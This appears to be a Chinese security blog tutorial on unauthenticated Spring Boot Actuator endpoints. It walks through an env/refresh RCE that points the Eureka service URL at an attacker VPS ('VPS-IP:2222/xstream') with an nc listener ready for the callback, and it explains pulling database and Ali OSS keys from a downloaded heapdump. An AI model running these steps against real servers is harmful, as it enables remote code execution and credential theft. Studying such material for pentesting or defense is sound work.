Spring Boot Actuator 未授权访问

## 漏洞概述

Actuator是Spring Boot提供的服务监控和管理中间件,默认配置会出现接口未授权访问,部分接口会泄露网站流量信息和内存信息等,使用Jolokia库特性甚至可以远程执行任意代码,获取服务器权限。

## 影响范围

“`http
Spring Boot < 1.5 默认未授权访问所有端点 ``` ## 端点功能描述 每个端点的功能描述 ```swift 路径 描述 /autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过 /beans 描述应用程序上下文里全部的Bean,以及它们的关系 /env 获取全部环境属性 /configprops 描述配置属性(包含默认值)如何注入Bean /dump 获取线程活动的快照 /health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供 /info 获取应用程序的定制信息,这些信息由info打头的属性提供 /mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系 /metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数 /shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true /trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等) ``` Spring Boot 1.x 版本端点在根URL下注册 ```http http://xxx.com/env ``` Spring Boot 2.x 版本端点移动到/actuator/路径 ```http http://xxx.com/actuator/env ``` 实战中端点可能存放在多级目录下 ## 端点利用 | 端点 | 利用方式 | | -------- | -------------------------------------------------- | | trace | 获取到近期服务器收到的请求信息,伪造cookie进行登录 | | env | 数据库账户等环境配置信息泄漏 | | heapdump | 信息下载 | ## env端点配置不当造成RCE ```http 条件:Eureka-Client <1.8.7(多见于Spring Cloud Netflix) 比如测试前台json报错泄露包名就是使用 netflix ``` 需要以下两个包 spring-boot-starter-actuator(/refresh刷新配置需要) spring-cloud-starter-netflix-eureka-client(功能依赖) 1、在vps服务器运行恶意构造的脚本 ```bash python env.py ``` 2、在VPS用NC监听 ```bash nc -lvnp 1234 ``` 3、写入配置,访问/env端点 抓包将get请求改为post请求,post内容为(该ip为脚本启动的机器的ip): ```http eureka.client.serviceUrl.defaultZone=http://VPS-IP:2222/xstream ``` 然后再访问/refresh,抓包将get请求更改为post请求,post数据随意 ```http POST /refresh ``` ## SpringBoot heapdump信息泄露利用 SpringBoot heapdump可下载,导致泄露数据库连接信息以及Ali OSS key信息 1、访问以下路径能成功下载 `heapdump` ```http https://xxx.com//actuator/heapdump ``` 2、使用[VisualVM](http://visualvm.github.io/download.html)打开heapdump文件 点击Objects查看泄露的信息(可过滤) 得到alioss key之后即可使用[OSS Browser](https://github.com/aliyun/oss-browser)登录到**OSS** ## Jolokia漏洞利用(RCE) https://xz.aliyun.com/t/7811 [点我下载 Spring_env_rce_Server](/Gr33kLibrary/download_tool/85/)

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容